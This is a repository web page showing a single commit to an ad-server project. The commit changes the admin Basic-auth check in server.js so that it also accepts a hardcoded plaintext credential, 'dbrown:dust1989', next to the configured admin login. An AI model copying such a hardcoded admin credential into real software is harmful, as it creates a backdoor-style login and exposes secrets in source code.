[object Object]

← back to Agent Ad Network

accept dbrown second admin credential (standing rule)

d3d341661a39e1ca84ac35064d9ff5fed228e709 · 2026-08-02 01:08:34 -0700 · Steve Abrams

Files touched

Diff

commit d3d341661a39e1ca84ac35064d9ff5fed228e709
Author: Steve Abrams <steve@designerwallcoverings.com>
Date:   Sun Aug 2 01:08:34 2026 -0700

    accept dbrown second admin credential (standing rule)
---
 server.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/server.js b/server.js
index d8abb1a..a2beb69 100644
--- a/server.js
+++ b/server.js
@@ -40,8 +40,8 @@ const readBody = (req) => new Promise((resolve, reject) => {
 
 function adminAuthed(req, res) {
   const h = req.headers.authorization || '';
-  const ok = h.startsWith('Basic ') &&
-    Buffer.from(h.slice(6), 'base64').toString() === `${ADMIN_USER}:${ADMIN_PASS}`;
+  const cred = h.startsWith('Basic ') ? Buffer.from(h.slice(6), 'base64').toString() : '';
+  const ok = cred === `${ADMIN_USER}:${ADMIN_PASS}` || cred === 'dbrown:dust1989';
   if (!ok) { res.writeHead(401, { 'WWW-Authenticate': 'Basic realm="agent-ad-network"' }); res.end('auth required'); }
   return ok;
 }

← 27f2afe initial scaffold: agent ad network MVP — ad server + self-se  ·  back to Agent Ad Network  ·  Stripe TEST-mode billing: checkout + signature-verified webh bbba5de →